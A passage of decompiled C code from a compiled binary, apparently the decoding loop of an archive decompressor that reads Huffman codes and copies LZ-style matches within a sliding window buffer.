							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
